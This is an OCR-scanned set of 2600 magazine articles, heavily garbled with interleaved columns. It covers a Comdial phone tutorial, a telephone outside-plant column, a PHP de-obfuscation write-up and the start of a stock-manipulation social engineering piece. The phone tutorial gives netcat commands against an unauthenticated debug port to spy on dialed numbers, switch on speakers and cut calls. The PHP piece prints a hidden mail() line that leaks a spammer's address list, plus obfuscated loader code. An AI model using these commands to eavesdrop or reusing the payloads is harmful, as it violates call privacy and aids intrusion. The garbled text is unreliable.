I nfo" .  Press " ENTER"  and  you wi l l  see " 1  [19: 42: 19 .100] 0 .. 7 - debug flag level 

Network I nfo" .  Press " E NTER"  aga i n .  Press [19:42:19.099J a - debug flag toggle 

" N EXT" th ree t i mes and you r screen wi l l  [19:42:19.098J A - verbose flag toggle 
[19:42:19.099J B - Generate Test 

say, "4 I P  Address" .  Press " E NTER"  one last ... Tone on Bzr 

t ime and you wi l i see the l P Address of the [19:42:19.109J c - core selection 

h ... alt between 1, 2 p one.  
[19: 42: 1 9  .109] C - crash write t o  0 

Now, if you can ' t  phys ica l l y  get to the [19:42:19.108] D - 1 - Si3000, 

phone, you can fi nd it eas i l y  with nmap, a ... Default - Dump DSP statistics 

great too l for sca n n i n g  networks . I ' m  not [19:42:19.109J d - increase 

d I h '" dspDriverVerbose (wrap around goi ng to go i nto eta i on nmap, as t ere 
... range 0-3) 

have been p lenty of a rt i c les wr i tten on it, [19:42:19.108J E - Dump EPROM info 

and there is p lenty of i nfo ava i l ab le  on the [19: 42: 1 9  .llO J e - Dump Ethernet 

web. Once you run  a fu l l  scan on the phone ... stats 
[19:42:19.118] e 0 - reset Ethernet 

with nmap you w i l l  fi nd that ports 800 1 , ... stats 

8002 , 8003 , 902 6,  902 7 a re open .  Ports [19:42:19.ll9] g - gdb spin loop 

800 1 , 8002 , 8003 I be l i eve a re used for the [19:42:19.120] H - Switch to Headset 

f 
[19:42:19.118] h - Switch to Handset 

com m u n i cat ion i tse lf. Port 902 6 asks or [19:42:19.120] I - Switch t o  Mic/Spkr 

a user name and password, wh ich I don't [19:42:19.ll9] i - Adjust mic input 
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.. gain ( @ DSP) +ldB (wrapf; around) 

[19:42:19.128J k iflfo 
[19:47:19.1291 K ­

... ticks since l�sl k�y event 
[19:42:19.129J L LED test 
119: 42: 19.12 [II M - Increase 

... ADC f\x (�lTic) gd i n +1 
r ]():47: 10.129) m D('('I(����C 

-ADC Rx (Mic) y�irl -1 
[1 'J : ,n : 19 . I J Cl1 u - ToeN le vu i ce 

... ,Jet i v i dpl_,:"'cl iOt1 
[.19:4:?:1 .14(1; p Play V()l 

.. I.tlc l colnc' to Suundpi 
[ :19.14C1j ( - IIt'Cju ('s l 

.. OSP Statlstics 
119:4;':1'J.1l81 Inc 

.. ��pkl Out Cal n (@I)�;P) 
119:42:19.139J s prlnl 

... stat-ion number- uf L.h.i �---, phonE:' 
119:12:19.11C1J T Mute 

.. ALL I. and Outputs 
[19:42: 1 .149J l - C;eneral.e DSP tones 
[1,):12:19.148J U !nc ,;pkr 

.... Vnl. (Dec Attenuation) 
[19:/)):19.14BJ II - ilE'e ,;pkr 

-Vol. (Inc Attcnuatjon) 
I I :42:19.1191 V Inc ADC 

.. Tx PC,�\ (0/1)) Sold in +1 
l1 Y : 112 : llJ . .l l_IO 1 v fie c A l!C 

-Tx �)CA (Cl/P) (Jeli!r - 1 
I I 'J : '12 : 1 9 . 1 4 8 J vi I II C A I lC 

..... I\x l)C;/� (I/P) qain I J 
r I 9 : 4 ) : I q . I r:) (�I w - Up C l\[)C 

_ Hx PCA ("[ / }J) 9 u i n - L 
I I q: : 1 c). I ',l) I X Tn(' AD(, [,i nc' 

-(Jut qain (J)c'c ALLcnudLicHl) 
ll,):,J:2: 19.1�}81 x Dec fl._DC i,irl(-' 

-Oul (::ldirl (Inc f\(LpIluatior:.) 
[ 1 'l : � ::; : 1 9 . 1 ') 9 J Y -

- [ncrease Line Ir1 gairl 
[1'J:42:19.16C11 y ­

-Decrease IJinc Ir1 �Jujrl 
119:42: 19.1591 z - Tpc;t LCD/ 

.. /Notify msgs 
119: :19.169J /, Play L Lone 

Each of the l etters l i sted run  the fu nct ion 
i nd i cated, when you type the l etter and 
press " Enter " .  So i f  you type "k "  and  press 
" Enter, " i t  wi l l  dump a bu nch of system i nfo 
to you r  screen such as m i c  and  speaker 
vo l ume, numbers d i a l ed, ca l l ed received, 
ca l l  t i mes, and a bunch of other i nfo . If 
someone is u s i ng  the phone you can use 
the " u "  and " U "  command to ra i se and 
l ower the vo l ume on the phone .  Command 
" I "  wi l l  switch on the spea ker of  the phone 
wh i l e  " h "  w i l l  set i t  back to the headset (th i s  
i s  fu n to  do i f  you are i n  t he  same room 
as the person on the phone) .  "T" w i l l  "Mute 
ALL I nput and Outputs", but I don ' t  know 
how to u n mute them u n l ess they hang up  
and  red i a l .  So, on l y  u se  the  "T "  command i f  
you want to d i sconnect someone ' s  ca l l .  

Some other commands a re not a s  fu n .  

t o  not i ce. 
You may a l so notice that if someone 

p icks up the headset or presses buttons on 
the phone wh i le you a re con nected you 
wi l l  receive some output on you r screen .  
By defau l t  t he  output i s  most l y  useless, 
te l l  i ng you that buttons have been pressed, 
but not wh ich buttons .  B ut, i f  you cha nge 
the "debug flag leve l "  by choos ing  a n u mber 
from 0 th rough 7 you ca n change the 
amount of i nformat ion d i sp l ayed . 

Level " 3 "  is when th i ngs sta rt gett i ng  
usefu l .  I t  a l l ows you to  see what  i s  bei ng 
d i sp l ayed on the LCD screen of the phone . 
And s i nce the LCD screen d i sp lays the 
numbers bei ng d i a l ed and  the numbers of 
i ncom ing  ca l l s, you can see, i n  rea l t i me, 
who is ca l l i ng  whom. Of cou rse the more 
output you have the ha rder it is to keep 
track of, espec i a l l y when you get up to leve l  
"6 "  or "T'. Th i s  i s  where you r  command l i ne 
sk i l l s cou ld  come i n  handy. U s i ng a s imp le  
rommand surh  as grep you  can fi l ter out 
u nwa nted i nfo . To only d i sp l ay messages 
on l i ne one of the LCD screen, wh ich i s  
where numbers be i ng d i a l ed a re d i sp layed, 
set the debug level to at l east " 3 "  and try the 
fo l l owi ng set of com mands :  
/home/user> n c  192.168.22.217 

90271qrep LCDLincl 

r. 2 0 : !) ') : � 2 . 687 J LCDL enel: F:N1'ER NUMBER 

[20:5,):51.109J LCDLinel: PRJ 

[20:55:5/1.210J LCDLincl: PRI 

[7C1:55:54.728J LCDLinel: 1 

[7C1:55:55.0591 LCDLinel: 18 

[20: S�: �}'J. 358J lOlL i ne1: 180 

[20:')5:','-,.518J [,CTlLine1: 1800 

[2C1: 55: 5',. 868J I ,CDLim,1 : 18004 

[20:"5:56.109J l,CIlI,i nel: 180046 

[20:�,�:�)6.��J9] l,ClJLinel: 1800466 

[20:55:56.44')J LCDLinel: 18C104664 

[2C1:55:56.6081 LCDLinel: 180046644 

[20: 55: S6. fl081 LCDLine1: 1800466441 

[20:55:56.987J LCDLinel: 18004664411 

As you can see, the grcp command 
fi l tered out a lot of  u nwanted i nfo and 
showed the number bei ng d i a l ed in  rea l 
t ime .  Wel l , t h i s  conc l udes th i s  tutor ia l .  Th i s  
i s  just pa rt one  o f  my COMDIAL a rt i c les .  I 
hope to wr i te at l east two more. 

Well, I guess this is where I do shout-outs to 
people. So, hey Kenn, james, and Eric. 

For examp le  "z" wi l l  cause a whole lot 
of messages to f lash on the screen of the 
phone, but  a l l  the messages f lash for about 
one tenth of a second,  mak ing  i t  very hard 
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Hel lo, and greeti ngs from the Centra l  poles or underground. I n s ide of a cable, there 
Office ! I t's r ight around wi nter solstice here i n  are up to 4,200 twi sted copper pa i rs. A pa i r  
the Pacif ic  Northwest, where the sun comes up of  th i n  copper wi res, known as t ip  and r ing, 
at around eight i n  the morn i ng and sets just i s  what br i ngs a d ial tone to your house. 
after 4 pm . And outs ide, i t's ra i ny, windy, and Th is  forms a conti nuous (albeit often sp l i ced) 
m i serable. Yes, just another day of re lent less copper loop between the N I D  on the side of 
wi nter assault on the outs ide p lant serv i ng my your house and the frame i ns ide the Central 
Centra l  Office. Office. I n s ide a cable, up to 1 00 pa i rs are 

Around here, most people go to work i n  grouped together i n  a collect ion ca l led a 
the dark and come home i n  the dark i n  often "bund le," wh ich is wrapped i n  an i n ner 
dangerous dr iv i ng condit ions .  I nev i tab ly, a sheath i ng, and then the bund les are wrapped 
few cars get wrapped around ut i l i ty po les together i n  a tough outer sheath i ng. There are 
th i s  time of year, knock i ng out electr ic power many d i fferent types of sheath i ng, and the type 
and te lephone serv i ce. Mak i ng matters worse, used la rgely depends upon the a rea in wh ich a 
they don't cal l Wash ington the "evergreen cab le  i s  deployed and the age of the cable. For 
state" for noth i ng. There a re l i tera l l y  m i l l ions example, i n  B raz i l  (where term ites a re a huge 
of Douglas-fir, S i tka Spruce, and Western Red problem), spec ia l i zed termi te-res istant outer 
Ceda r trees (among others) stand i ng over 200 sheath i ng is often used . 
feet h igh. The i r  branches are as large as enti re Hungry term ites, of course, a ren't the on ly  
trees i n  most other parts of  the  wor ld .  When enemy of a te lephone cab le, or even the most 
the wind gets up to 100 m iles per hour (as i t  common one .  Here i n  the Pacif ic  Northwest, 
d i d  last year dur ing the Ha nukah Eve storm), the weather is the b iggest i ssue for l i nemen 
fal l i ng branches can take out util ity l i nes just as to contend with . Whether a l i ne i s  downed 
easily as fa l l i ng trees. When phone l i nes a ren't by a fa llen tree or crashed automob i l e, pol i ce 
be i ng knocked down one way or a nother, and f ire departments are often the fi rst ones 
they're be ing pelted by ra i n, wh i pped by wind, to respond.  Safety is a major concern of 
and even stolen by th ieves motivated by the fi rst responders, as they don't a lways know 
h igh pr ice of copper. Add to that the fact that whether a downed l i ne i s  a dangerous h i gh-
telephone cables can be decades o ld, and i t's voltage e lectr ica l  l i ne or a relatively ben ign 
sometimes a wonder that anyth ing ever works telephone l i ne. Fortunately, there i s  a serv icE' 
at all. cal led One-Ca l l, forma lly known as the Uti l i ty 

A switch is no good if you don't have a Notification Center. By d ia l i ng the appropr iate 
conti nuous loop to it, and most of that loop i s  te lephone number, fi rst responders report 
what we ca ll the "outs ide pla nt." Why outs i de? downed l i nes to One-Call as soon as they 
I t's outs ide my Central Office . Everyth ing i n  arr ive o n  the scene. Based o n  t h e  address and/ 
here - the swi tch, frame, battery room, etc. or other identify ing  data (such as number p lates 
(where i t's loud, dry, and a balmy 68 degrees) - on the affected telephone pole), One-Call then 
i s  the " i ns ide p lant." And outs ide it i s  . .. l i tera l l y  notifies the affected util it ies of the outage, who 
m ill ions ofm i les of cab le  cr i sscross ing the globe each respond by roll i ng a truck. 
and l i nk i ng nearly every household i n  North Anywhere from a few m i nutes to several 
America .  Long d i stance trunks are redundant, hours later (depend i ng upon how nasty the 
and networks a re designed in ring topo logies weather i s  and whether the tech n i c ian  cal led 
such that a cab le  carry ing  your te lephone ca l l  i s  un ion o r  not - somehow, non-un ion techs 
can l i terally be cut in two without any impact don't seem to l ike gett i ng up at 3 am i n  
t o  your conversation .  Many i nteroffice trunks nasty weather for the meas ly  $ 1 1 per hour 
a re s im i lar ly des igned. Unfortunate ly, the most the i r  compa n i es pay them), a truck wi l l  ro l l  
vu l nerable part of the network i s  the loop up to the scene. If  mu lt ip le  l i nes are down, 
between the Centra l Office and your house. mu lt iple trucks from mult iple uti l i t ies wi l l  rol l .  

Te lephone cables typ i cally either run on U nfortunately, if a power l i ne i s  down, nobody 
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can start repair work until the power utility 
shows up to de-energize the line. 

Cable damage resulting from weather isn't 
always as dramatic as drunks crashing into 
telephone poles or tree limbs crashing onto 
lines. Oftentimes, it happens slowly over many 
years. Copper does corrode when exposed to 
moisture, and sheathing on its own is insufficient 
protection against the elements. In particular, 
this is the case when cables are older than my 
mother (as is the case in parts of New York 
City), and are wrapped with little more than 
treated paper. As anyone who has ever visited 
Manhattan knows, there are underground steam 
lines everywhere - and they leak. This blasts 
hot, moist steam at anything in the vicinity, 
including telephone cables. Verizon solves the 
problem there by pressurizing underground 
cables with cold nitrogen, delivered from tanks 
placed throughout the city. This keeps cables 
dry and mitigates the corrosive impact of 
steam, as nitrogen is an inert gas. Similar tanks 
are used by AT&T in the Houston area, due 
to the moist climate there. You can see them 
placed at many junction and other equipment 
boxes. Conversely, in desert areas, such as 
the Valley of the Sun in Arizona, no measures 
beyond heavy-duty sheathing are taken to 
protect cables. This is because what little rain 
falls in the area evaporates quickly, and rarely 
penetrates far enough (or hangs around long 
enough) to result in corrosion damage. 

Here in the Pacific Northwest, nitrogen 
tanks are rarely used. Most of our outside 
plant dates from the 1960s or later, although 
in a handful of places there is still cable in use 
dating from the turn of the 20th century. In this 
area, most cables are filled with a substance 
called icky-pic. How did it get its name? 
Well, icky-pic is the vilest substance known 
to mankind. If you get it on your clothes, in 
your hair, etc., you'll never get it out. It sticks 
to everything, ruining whatever it touches. 
Including your eyes; if you get it in your eyes, 
it will literally blind you. Oh, and to top it off, 
the stuff is actually flarnmable (being petroleum 
based), so it should never be used indoors. But 
icky-pic is inert, and water can't penetrate it, 
and it's flexible (because it's a gel) so you can 
fill cables with it. So for this area, it's a perfect 
solution. That is, until the outer sheathing of 
the cable eventually ruptures after 40 years of 
neglect and the icky-pic leaks out. Eventually 
the cable will corrode, and a splicer will have 
to repair the damage. 

Splicers, incidentally, repair all sorts of 
interesting damage, on both fiber-optic and 
copper cables. From euphemistically named 
"backhoe incidents" (yes, any idiot with a 
backhoe can knock out phone service to over 

1,000 homes) to underwater lines caught by 
boat anchors to more garden-variety damage 
such as drug addicts cutti ng out sections of 
cable to sell as scrap (yes, this really happens), 
these folks have a very tough job. Piecing 
4,200 individual pairs back together is a very 
detail-oriented job, but good splicers need to 
work fast. After all, if a splicer is on the job, it 
usually means a lot of folks are without phone 
service. 

Working as a lineman can be a dangerous 
job, since it involves working around electrical 
cables and more than occasionally working 
around slipshod, improperly grounded cabling 
done by low-bidding non-union contractors. 
For example, bucket trucks come in grounded 
and non-grounded versions, so, as you might 
imagine, it's highly important for linemen to 
know which tool is appropriate for the job. 
While linemen are not electricians (different 
union), they are trained in the portions of the 
National Electrical Code (NEC) applicable 
to their jobs. Safety meetings, while both 
frequently required and the bane of any 
lineman's existence, are an important tool 
used to communicate the latest procedures 
and information. 

And with that, it's time for me to take a 
nap here at the Central Office. Safety meetings 
are the bane of my existence too, and I have 
a required one today. But it's online, so I can 
sleep through it without anyone noticing! 
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by Cliff 

I magi ne you're a lame web des igner. 
How do you protect your prec ious HTML, as 
if nobody's ever seen HTML before? I magi ne 
you're add i n g  some k ind of va l i dat ion to a 
web page, but you don't wa nt the va l idat ion 
a l gori thm to be pub l i c l y  v i s ib le .  Or you're 
try i n g  to h ide your ma l ic ious code i n  
a n  otherwise i n nocuous page? You use 
obfuscat ion .  

Obfuscat ion doesn't make code 
i mposs ib le  to read, i t  j ust ma kes i t  a pa i n  i n  
the ass, and  not worth bother i  n g  with for the 
average user. The great th i n g  with scr ipt ing  
languages i s  that they are i nterpreted 
p l a i ntext. I n  order for the scri pt to run,  it 
has to be h u man-readab le at some stage 
- all you need to do is to de-obfuscate it, 
and  read what the author d i d n't wa nt you 
to read.  The more someone doesn't want 
me to read someth i ng, the more curious I 
become! 

Common scr ipt ing  languages i n c l ude 
PH P, VBScri pt, and JavaScri pt. Each has 
their own syntax and use, but have lots of 
common programm i ng constructs. For 
i n sta nce, PH P runs  on the server, but not 
on a browser, JavaScr ipt can run on either, 
and  VBScr ipt i s  most su i ted to server-s ide 
execution .  The one i n struction every code 
obfuscator uses i s  eval ( ), which works j u st 
about the same i n  each of these l a nguages. 

The eval("string") wi l l  execute 
the code conta i ned i n  the str i ng  var iable 
"string", whatever it may be. That code 
may be i n  c leartext, or it may be a short 
program, to h ide the c leartext us ing  other 
fu nct ions which vary with the scr ipti ng 
l a nguage used . 

Here's a s imp le, rea l - l i fe samp le  I took 
from a P H P  scr ipt.  Th i s  P H P  scr i pt was 

call ed the "Yoga0400 Mass Ma i ler. " I t  was 
forwarded to me by someone who found 
a copy on the i r  honeypot. I t  was  a gener ic 
P H P  HTML i nterface for the box's own 
SMT P server, and it  looks as if i t  was ha nded 
out free ly  to spammers to use as a serv ice 
to h u m a n i ty. Some service - i t  conta i n s  a 
l i ne:  
echo eval (base64_decode( "bWFpbCgiZ 

"3JvZmlfaGFjaOBob3RtYWlsLmNvbSI 

"sICRzdWJqOTgsICRtc2csICRtZXNzY 

"WdlLCAkcmEONCk7 " ) ) ; 

Which made me curious - what d i d  it do 
that someone who gives away a spa m m i ng 
scr ipt m ight want to keep a secret? Th i s  was 
an easy one, and fee l  free to p l ay a long at 
home . . .  I looked up PH P's base64_decode 
fu nction, and than ks to the exce l lent  http:// 
php-fu nct ions .com/ and s i m i lar s i tes, I was 
ab le to decode the str ing  in a b l i n k . S imp ly  
copy and paste the  str ing "bWFpbCgiZ3JvZm l 

-faGFjaOBob3R tYWlsLmNvbSIsICR zdW 

-JqOTgsICR tc2csICR tZXNzYWdlLCA 

-kcmEONCk7" (without the quotes) i nto the 
base64_decode box and hit "Subm it" .  You 
shou l d  see the resu l t :  
mail ( "  gxxxx@hotmail.com", $subj 98, 
.. $msg, $message, $ra44); 

(OK, so I've x'ed out a few characters, 
you can fi nd  them yourse lf  if you care to. )  
Th i s  secret scr ipt wou l d  take a copy of  a l l  
the ema i l  addresses the spammer was us i ng, 
and send i t  to gxxxx@hotmail.com - gxxxx 
was us i ng th i s  g iveaway tool to b u i l d  up h i s  
own spam l i sts! No honor amongst th ieves. 
For what i t's worth, I bel ieve hotmai l  k i l led 
that address off a while ago. I t's very hard to 
shed a tear for someone stea l i ng a spam l i st 
from another spammer; either way i t's the 
i n nocent i n boxes that get hosed! 

Th i s  was an examp le of the base64_ 

decode () fu nct ion i n  PH P bei ng used 
to obfuscate c leartext code. Another 
com mon l y  used fu nction is gzuncompress ( ), 



another l ayer of try i ng  to h ide what -VZ s Ax Yp T z l 2 0B j  2 C 6 JK i  Y z aUQ r 8 Em f F O  

happens beneath the covers. For  i nstance, - Z v 3 d s P Jhq2 WdaNhNq2 W 3 X G 6 b t 8 fHEbB 
-OJwm s 9 NC r P P t e X + l 5 c qH 8 q l + VWt v 7 z q 5 U-b 

a very i n nocent look ing  th ree l i nes that I 've 3 Rb LU 7 3 V 5 /MByNJ2 w 6m y + W q / Vmu 9 s bp 
sn i pped heav i l y  here - one of those th ree -mW D 4 3 r + 4 R i E U Z y c u E i z v D h f X h i I E  
l i nes i s  very, very, very long i ndeed - wou ld  -KJBb g T 4  7 x D R f g D S A l 8 g ' ; 

have fi l l ed severa l pages of 2600 for j u st $ a 2 =b a s e 6 4 _d e c o de I $ a l ) ;  

that express ion .  I t's the obfuscated b i t :  $ a 3 = g z u n c omp r e s s  l $ a 2 ) ; 

< ? php II Th i s fi l e  i s  p r o t e c t ed by Next l d i d the base64_decodeO then us i ng  
I l c o py r i gh t  l aw a n d  p r o v i ded u n d e r  a 3 0-day tr i a l  of a PH P debugger, did the 
I ! 1  i c e n s e . Rev e r s e  e ng i ne e r i n g  o f  gzuncompress on the resu l t . What l got was . . .  
I i t h i s fi l e  i s  s t r i c t l y p r oh i b i t e d . I l ev a l  s e qu e n c e  $ a 3  
$ 000 0 0 0 0 0 0 =  $ O O O O O O O O O = f o p en 1 $ 000 0 0 0 0 0 0 , ' rb '  ) ; 
-__ F I L E __ ; $ O O O O O O O O O =  __ L I N E  __ ; w h i l e  1 - - $ 0 0 0 0 0 0 0 0 0 )  f g e t s  1 
$ 00 0 0 0 0 0 0 0 = 4 2 8 9 6 ; eva l l g z un c ompr e s s l 

_ $ 0 0 0 0 0 0 0 0 0 , 1 0 2 4 ) ; 
-ba s e 6 4 _d e c o d e l ' eNpl j 8 duwkAYh F « s n i p  
-abou t 3 0 0  c h a r s » T 4 7 xD R f g D 5 A l 8 g  f g e t s l $ 0 0 0 0 0 0 0 0 0 , 4 0 9 6 ) ; 

_ ) ) ) ;  r e t u rn ; 7 >  G Y Q Y A f s K I O EW / c B aM l x  $ O O O O O O O O O = g z u n c o mp r e s s  I b a s e 6 4 _ d e c  
- r EmJqy 6 xkdCvA s L Rv 6 T V i HHeQ FVmVA s p  - o d e  1 s t r t r  1 f r e a d  1 $ 0 0 0 0 0 0 0 0 0 , 4 8 0 )  , ' 

- « s n i p  a b o u t 4 0 kb o f  s i m i l a r  s t u f f  - E n t e r yo u w k hRHYKNWOUTAaBb C c D dF 
- » 7 G / T / n t YYF I = =  - f Gg l i J j L lMmPpQqS s VvX x Z z 0 1 2 3 4 S 6  

The fi rst l i ne i s  easy - someone - 7 8 9 + 1 = ' , ' AB C DE F G H I JK LMNO P Q R S T  
proh i b i t i ng me from see ing  what code they -UVWXYZ abcde fghi j klmnopqrs tuvwxyz 
wa nt to run on my computer? I ignored i t, - 0 1 2 3 4 5 6 7 8 9 + 1 ' ) ) ) ; 

so sue me. Next we have a few va r iab le  e v a l 1 $ 0 0 0 0 0 0 0 0 0 ) ; 

dec l a rat ions i n  a s i ng le  l i ne .  U n k i nd l y, the Cheeky ! More of the O's and zeroes. 

person obfuscat ing the code used a rea l m i x  Reformatted and renamed . . .  

of cha racters here _ Cou r ier  New renders I i ne x t  l i n e s  add r e s s  the da t a  l i n e s  

$ s t r e am 1 = f op e n l $ fi l e ,  ' rb ' ) ;  
them a l l  the same (see above), so let's try 

wh i l e l - - $ l i n e ) f g e t s l $ s t r e am 1 , 1 0 2 4 ) ; 
a d i fferent font .  Wi ngd i ngs shows us what's f g e t s  1 $ s t r eam1 , 4 0 9 6 )  ; 
goi ng on here rather wel l :  $ b l = f r e a d  1 $ s t r eam1 , 4 8 0 ) ; 

n, n, n, � n, O n C F-
1 / $ b 1 = ' W / « l o t s  o f  

&V'ru rv r-, CJ rv �l _l D 
- s n i pp a g e » 1 / 8 l s R 3 kgX 3 JRr h 9 Em ' ; 

That seem i ng $ 0 0 0 0 0 0 0 0 0  is actua l l y  a $ b 2 = s t r t r l $ b 1 , ' En t e ryouwkhRHYKNWOUTAa 

m i x  of O's and zeroes, s l i ppery. Of cou rse, _BbC c DdF f Gg I i J j L lMmPpQqS sVvXx Z z  

t h e  second and th i rd va r i ab le  a re d i fferent - 0 1 2 3 4 5 6 7 8 9 + 1 = ' , ' ABC DEFGH I JKLMNO P 

m i xes of O's and zeroes.  Th i s  i s  c lear ly  -QRS TUVWXYZ abc de f gh i j k lmopqr s tuvw 

going  to be a batt le, l ucky I ' m  so obst i nate! -wxy z 0 1 2 3 4 5 6 7 8 9 + 1 ' ) ;  

I d id  a b i t  of renam i ng myse lf: 
$ b 3 = ba s e 6 Cd e c o d e  1 $ b 2 ) ; 

I I $ OOO O O O O O O = __ F I L E __ ; 
$ b 4 - g z u nc omp r e s s ( $ b 3 ) ; 

$ fi l e =  __ F I L E __ ; So the or ig i na l  th i rd l i ne comes i nto 

I / $ O O O O O O O O O =  __ L I NE __ ; p l ay - the 40kB i s  a l l  data for the routi ne 
I I $ l i n e =  __ L I NE __ ; obfuscated i n  the second l i ne .  The scr ipt 
$ l ine = 4 7 ; opens i ts own fi l e, reads the data l i ne, uses 
1 1 $ 00 0 0 0 0 0 0 0 = 4 2 8 9 6 ;  strtr to trans l ate cha racters, then performs 
$ o f f s e t = 4 2 8 9 6 ; another base64_decode and gzu ncompress 

I f igu red $file ,  $ li ne and $ o f f s e t  wou l d  on t h e  resu l t i ng  data. I nteresti ng ly, here we 
be more usefu l names i n i t i a l l y to get me see ev idence that th i s  has been obfuscated 
ro l l i ng, and so used sea rch and  rep l ace, and w i th a too l of  some sort _ the strtr str i ng  sta rts 
not for the l ast t ime .  Pa rt icu l a r l y  neat was " Enteryou" wh ich i s  qu ite poss ib l y  the start 
the use of �F I L E� and �LINE�, which of  " Enter you r  seed i ng stri ng here" or some 
mea nt adapt ing  the code wou l d  damage 
't h th h d d d I f I 

s i m i l a r  defau l t  va l ue. Not that anyone but 
I ,  ence e a r  -co e va ue or $1  ine .  

a madman wou ld  ro l l  th i s  stuff by hand, of 
worked out why it was so i m portant, and 
what  the l i ne number wou ld  be once I 'd 

cou rse. Or reverse engi neer i t .  

t id ied the code up .  Th i s  was a very c lever By now, I was fee l i ng m i ght i l y  proud of 

obfuscat io n !  Conti n u i ng, I t id ied the code myse l f. I was c lear ly  gett i ng  c loser. $b4 

a b i t :  conta i ned another b loom i ng mash of O's and 

$ a 1 = ' e Np l j  8 du w kAYhF / G O u 4 qR l m I 4 4 A s  zeroes, base64_decodes, gzu ncompresses, 
- H + i dpbdL 5 P K 7 gB u 7 L s D T B x R E h KK Z 0 2 j  freads, strtr's, a n d  a new one for me, ere� 
-m k O Z i l F J 2 E 9WdO I E I S 4 yx 3 0 BG 3 E RE K z w /  rep l ace, wh ich when t id ied gave us . . .  
-AFwq S e x e v J s 4 LqQC S 8 + p XKYVhWj / $ c 2 � f r e a d l $ s t r e a m l , $ o f f s e t ) ; 
- Y o XWVKLd i I + 1 7 l 6 z y l r D h I MQ 2 D Q E qMq 3 D  $ c 3 = s t r t r  ( $ c 2 , ' E n t e r y o u w khP,W:KNWOU 
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-TAaBb C c DdF f Gg l i J j L l MmPpO oQqS s There a re other techn iques i n  use to try 
-VvXx Z z 0 1 2 3 4 5 6 7 8 9 + / = ' ,  ' AB C D E F G H I JK to protect scr i pts - you m ight fi nd scr i pts 
- LMNO PQRS TUVWX Y Z a b c d e f gh i j k lrn n o p q r  

referenced in a c l i ent-s ide i n c l ude, for 
- s t u vwx y z 0 1 2 3 4 5 6 7 8 9 + / ' ) ; 

h h h d $ c 4 =b a s e 6 4 _de c o de ( $ c 3 ) ; i n sta nce, i n  t e hope t at as t ey on't 
$ c 5 = g z u n c o rnp r e s s  ( $ c 4 ) ; appea r i n  you r browser, you can 't see 
/ / $ c l = e r e g_ r e p l a c e  ( '  the scr ipt .  Try you r  browser cache for 
- F I LE ' , " ' '' .  $ fi l e . " ' ' ' ,  $ c 5 )  ; these scr i pts . Javascr ipt has i ts share of 
$ c 6 = s t r l e n  ( $ c 5 )  ; obfuscated code too - aga i n  you ' l l  see str i ng  

Now I wondered i f  I was  go i ng  i n  c i rc les ?  rep l acements, offsets, loops wi th i n  loops, 
Ea r l i e r  I had for 90 m i n utes. The code i s  so obscu re progra m m i ng constructs, a nyth i ng 
c l ever ly  recu rs ive that if you m i scount a to th row you off the scent - but remember, 
pos i t ion ,  etc, you l i tera l l y end up i n  a loop. i t  wi l l  a lways g ive you a c 1 ea rtext vers ion of 
Utter ly  br i l l i a nt, but  that mea nt the code the scr ipt in the end, otherw i se the engi ne 
had to succumb to me or k i l l  me try i ng .  cou ldn 't run i t .  
p r i n t  ( $ c 6 ) ; The best th i ng you can do from here 
p r i n t  ( $ c 5 ) ; / / durnp the s e c r e t  s c r i p t  i s  to  fi nd some obfuscated code, and  
f c l o s e  ( $ s t r earnl ) ; have a go you rse lf  - it's qu ite reward i ng 
r e turn ; 

when you fi n a l l y  see what someone has 
? >  

I have to admi t, my worksheet was worked so hard to stop you from see i ng. 

f Often, i t 's qu i te mu ndane - some id iot has gett i ng craz i l y  messy by now, and some 0 
my work i ngs may we l l  appear to be m i ss ing thought you rea l l y wa nt to copy h i s  c rappy 

a 1 er t ( ' Pa g p  P ro t p c  ted by xxx ' ) scr ipt - but steps - th i s  a rt i c l e  i s  about the p r i nc ip le  
someti mes you  h i t  t he  wei rd and  wonderfu l though, not th i s  scr i pt .  But  th i s  was i t, I 
stuff, and it 's q u i te i nformative. 

now had the fi na l  scr i pt, h i dden deep i ns ide 
Wel l  obfuscated code wi l l  not  g ive up  

some crazy obfuscated code. The fi rst th i ng  any secrets i n  a regu l a r  debugger e i ther _ Ave d id  when I t r ied to save the fi l e  was to ta k i ng  it out of context can cause problems, 
panic .  I knew I 'd h i t  payd i rt. And i ndeed or execut ing a whole l i ne at a t ime wi l l  
i t  was a n  exp lo i tat ion too l k i t  designed to prevent you from stepp i ng th rough every 
run  on U n i x  and  L i n u x  va r iants, very cute iterat ion of an obfuscat ion .  You need to 
i ndeed . I ' m  afra id  I won't l i st the actua l  pu l l  the code to p ieces to see what  happens 
code here. I t's not re levant and i t's not n ice, at the hea rt. Work method ica l l y, eva l u ate 
and  frank l y  I 've lost a chunk  of i t .  terms one at a t i me, rename stup id l y  

B ut th i s  jou rney i s  typ ica l  o f  t he  work na med va r i ab les, but be sens i t ive to any 
you have to put i nto seem i ng ly  imposs i b l e  envi ronment va r i ab les l i ke _L1 N E_ wh ich 
de-obfuscat ion of  scr i pti ng l anguages . can tr i p you up .  Each step revea l s  more 
They're usu a l ly obfuscated with softwa re puzz les to solve, but  i n  the end you can 
too ls ,  they're usua l l y severa l l ayers deep, d i scover some of the gu i l ty secrets of the 
and they try every k i nd  of d ivers ion they web ! I t's a good hobby. Maybe post some 
can to th row you off the scent, i nto l oops, of you r steps, d i scover ies, and gotchas to 
etc . I l ea rned more about the i nterna l s  of 2 600 too, so we can a l l  learn a bit more too . 
P H P  de-obfuscati ng th i s  code tha n  any  Thank  you for you r  attent ion and  i nterest. I 
tutor i a l  has ever taught me. hope th is  has i nsp i red you somehow. 

Ch�� Ou i:; Ou r n �¥L!J 5 i rl:; 
Do you have one of the new 2600 sh irts 
yet? Not only is it a piece of cloth ing that wi l l  

shelter you from the elements , but it 's a lso an 
ed ucational tool that wi l l  show you the many 

ways you r  phone cal l s  can be overheard . 
Fu l l  color d i ag ram on the front with explanation 

on the back. Avai lable i n  a l l  sizes, $20. 

2600, PO Box 752, Middle Island, NY 1 1 953 
or order onl ine - store .2600.com 
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by Isreal shou ld  be q u ick ly  buy i ng it .  They m ight 
even h i nt that they a re ta l k i ng about i ns ide 

The fo l low ing  i s  an  educat iona l  a rt i c l e  i nformat ion but usua l ly not  say  i t  outr ight .  
and shou l d  be treated as such. I ,  the author, Eventu a l l y, after enough messages were 
ho ld  no respons i b i l i ty for a nyone who uses sent, the stocks wou l d  in fact sta rt to j ump a 
th i s  i nformat ion i n  a n  i l l ega l man ner. With l i tt l e .  The great t h i ng  about the stock market 
that out of the way, l et ' s  exp lore how a and  d i s i nformat ion l i ke th i s  i s  that if enough 
sma l l  b i t  of l ow-tech soc i a l  engi neer i ng can peop le  start buy ing to make a d i fference, i t  
